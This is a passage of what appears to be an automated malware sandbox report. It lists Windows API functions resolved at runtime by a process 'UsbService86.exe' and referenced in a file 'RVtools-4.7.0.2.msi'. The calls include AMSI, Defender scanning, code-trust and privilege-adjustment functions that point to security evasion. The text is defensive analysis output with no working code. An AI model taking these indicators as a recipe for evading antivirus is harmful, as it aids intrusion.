"GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_IncRef (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_DecRef (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_Initialize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_InitializeEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_IsInitialized (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_Finalize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_NewInterpreter (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_EndInterpreter (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyThreadState_New (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyThreadState_Get (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter _PyThreadState_UncheckedGet (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyGILState_Check (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyGILState_Ensure (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyGILState_Release (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyGILState_GetThisThreadState (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_InitThreads (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_ThreadsInitialized (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_AcquireLock (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_ReleaseLock (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_AcquireThread (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_ReleaseThread (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_SaveThread (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_RestoreThread (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_GetBuiltins (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_GetGlobals (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_GetLocals (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetProgramName (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_SetProgramName (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetPythonHome (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_SetPythonHome (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetPath (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_SetPath (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetVersion (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetPlatform (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetCopyright (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetCompiler (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_GetBuildInfo (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyRun_SimpleStringFlags (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyRun_StringFlags (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyEval_EvalCode (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter Py_CompileStringObject (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyImport_ExecCodeModule (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_HasAttrString (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_GetAttrString (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_SetAttrString (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_HasAttr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_GetAttr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_SetAttr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_GetItem (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_SetItem (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_DelItem (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_GetIter (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Call (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_CallObject (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_RichCompareBool (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_IsInstance (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_IsSubclass (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_ClearWeakRefs (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyCallable_Check (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_IsTrue (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Not (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Size (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Hash (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Repr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Str (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Type (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_Dir (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyObject_GetBuffer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_Release (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_SizeFromFormat (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_IsContiguous (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_GetPointer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_FromContiguous (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_ToContiguous (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_FillContiguousStrides (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyBuffer_FillInfo (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyNumber_Long (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpAmsiNotify (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SysAllocStringLenW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SystemFunction041 (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SystemFunction041W (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SystemFunction040 (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SystemFunction040W (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WldpSetDynamicCodeTrust (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WldpQueryDynamicCodeTrust (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptor (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetEnvironmentStrings (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeEnvironmentStrings (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EnumerateTraceGuidsEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter InitializeLibrary (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost_RetAddr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PerfCounterInitialize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetLengthSid (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter MgdGetIISVersionInformation (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetDirMonConfiguration (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfo (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfoA (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RemoveDirectory (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SHGetFileInfo (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AllocConsole (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreatePipeW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00007744)3d:Tde42,Found reference to API (Indicator: "EncodePointer"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "DecodePointer"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FlsFree"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FlsSetValue"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FlsGetValue"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FlsAlloc"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetProcessWindowStation"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetLastActivePopup"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetActiveWindow"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "MessageBoxA"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "UuidCreate"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "UuidToStringW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "RpcStringFreeW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "MultiByteToWideChar"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LoadResource"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "LockResource"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "SizeofResource"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FindResourceW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FindResourceExW"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "GetLastError"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "CloseHandle"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "WaitForSingleObject"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "Sleep"; File: "RVtools-4.7.0.2.msi") Found reference to API (Indicator: "FindFirstFileW"; File: 